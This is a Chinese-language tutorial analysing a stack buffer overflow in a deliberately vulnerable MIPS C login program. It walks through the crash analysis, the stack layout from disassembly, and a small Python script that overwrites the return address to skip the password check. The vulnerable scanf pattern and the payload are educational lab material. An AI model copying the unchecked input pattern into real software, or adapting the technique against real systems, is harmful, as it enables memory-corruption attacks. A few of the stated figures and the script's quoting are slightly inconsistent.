一个简单的mips架构缓冲区溢出分析
缓冲区溢出原理
简单的说,缓冲区溢出就是在大缓冲区数据向小缓冲区复制的过程中,由于没有检查小缓冲区的边界或者检查不严格,导致小缓冲区不足以接受整个大缓冲区的数据,超出的部分覆盖了与小缓冲区的相邻的内存区中的其他数据而引发的内存问题。(注1)
简单示例
#include <stdio.h>
#include "string.h"
int main(){
char password[100];
printf("\nPlease input your Password: ");
scanf("%s", password);
if (!strcmp(password, "stackoverflow")) {
printf("Welcome to the new world\n");
}else {
printf("Login failed\nGoodbye!\n");
}
return 0;
}
编译代码生成可执行文件。
/root/buildroot-2016.05/output/host/usr/bin/mipsel-linux-gcc secret.c -o secret -static
可以看到这个程序的逻辑比较简单,她要求用户输入一个密码。然后检查密码是否正确,如果正确,就打印欢迎信息,如果错误就返回登录失败的信息。
对于一个正常的应用来说,100个字符的用户名应该足够了。但是如果有人输入了超过100个字符的用户名会有什么情况发生呢。scanf并不会去检查边界,而是盲目的接受所有的字符。
我们来测试一下输入超过100个字符的密码。
可以看到程序正常的运行结束之后抛出了一个提示:
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
使用qemu结合ida进行动态分析:
运行程序程序,输入超长的用户名,发现程序运行0x61616161处的指令时发生了崩溃,引发了段故障错误。崩溃现场如图:
可以看到stack view中栈空间充满了61616161,而且寄存器$RA,$FP的值都是61616161,61是我们输入的用户名字母a的16进制编码。所以,超长的字符串劫持了程序的执行流程,让程序执行到了0x61616161这个我们可控的地址继续执行,而这个地址使我们随意输入的,从而导致了程序崩溃。
栈空间布局分析
因为我们有程序的源码,而且程序比较简单。所以直接阅读汇编代码也比较清晰,只有一个判断分支。
参考资料
栈操作:MIPS32架构与X86架构一样,都是向低地址增长的。但在MIPS32架构中没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的stack frame的存储区域。此后,栈指针便不在移动,只能在函数返回时将栈指针加上这个偏移量回复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈时都必须指定偏移量。
返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。(注1)
addiu $sp, -0x88
sw $ra, 0x88+var_4($sp)
sw $fp, 0x88+var_8($sp)
move $fp, $sp
li $gp, 0x4A6670
sw $gp, 0x88+var_78($sp)
lui $v0, 0x47 # 'G'
addiu $a0, $v0, (aPleaseInputYou - 0x470000) # "\nPlease input your Password: "
la $v0, printf
move $t9, $v0
jalr $t9 ; printf
nop
lw $gp, 0x88+var_78($fp)
lui $v0, 0x47 # 'G'
addiu $a0, $v0, (aS_2 - 0x470000) # "%s"
addiu $v0, $fp, 0x88+var_70
move $a1, $v0
la $v0, __isoc99_scanf
move $t9, $v0
jalr $t9 ; __isoc99_scanf
nop
lw $gp, 0x88+var_78($fp)
addiu $v0, $fp, 0x88+var_70
move $a0, $v0
addiu $sp, -0x88
sw $ra, 0x88+var_4($sp)
sw $fp, 0x88+var_8($sp)
分配栈空间大小为0x88,然后将$ra,$fp保存在堆栈中。
addiu $a0, $v0, (aS_2 - 0x470000) # "%s"
addiu $v0, $fp, 0x88+var_70
move $a1, $v0
la $v0, __isoc99_scanf
scanf的参数a1为sp+0x18,可以计算出栈空间的分布。
password分配了102个字节的空间,后面是上一个函数的栈指针和保存的$ra返回地址,让当前函数结束运行之后,CPU会从$ra处开始执行命令,而基础器$ra的值是从栈空间里保存的$ra处恢复的。(图片画错了,应该是$FP)
当password长度为112个字节的时候,可以覆盖返回RA,从而控制返回地址。
通过动态运行进行观察,输入数据为112个字节。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabb
返回地址覆盖成了61616262,然后程序会从0x61616262处开始执行,这会导致不可预料的后果,大部分情况都会导致内存访问违规。从而程序崩溃,抛出了段错误。
漏洞利用
既然我们可以控制程序从一个指定的地址开始执行命令,那么如果我们知道一个以前没有权限执行的危险命令的地址,就可以通过溢出的方式欺骗程序去执行这个命令。在这个例子中我们可以尝试在没有成功登陆的情况下执行成功登陆之后的一些指令。
这里我们尝试用登录成功之后执行指令的地址覆盖$RA,从而在我们没有正确的密码的情况下获得需要输入密码才可以获得的信息。
.text:00400878 lui $v0, 0x47 # 'G'
.text:0040087C addiu $a0, $v0, (aWelcomeToTheNe - 0x470000) # "Welcome to the new world"
.text:00400880 la $v0, puts
.text:00400884 move $t9, $v0
.text:00400888 jalr $t9 ; puts
.text:0040088C nop
.text:00400890 lw $gp, 0x88+var_78($fp)
.text:00400894 j loc_4008B8
.text:00400898 nop
输入正确的密码之后,会跳转到0x00400878处执行。通过前面的分析,已经知道需要112个字节来覆盖$RA。写一个小脚本来生成我们需要的payload
import struct
shellcode = "a"*108
shellcode += struct.pack(">L",0x00400878)
fw = open('shellcode','w')
fw.write(shellcode)
fw.close()
print ‘ok'
可以看到程序成功输出了 ‘welcome to the new world’。
参考资料
注1 :引用自<<解密家用路由器oday漏洞挖掘技术>>
A simple buffer overflow exploit (MIPS architecture)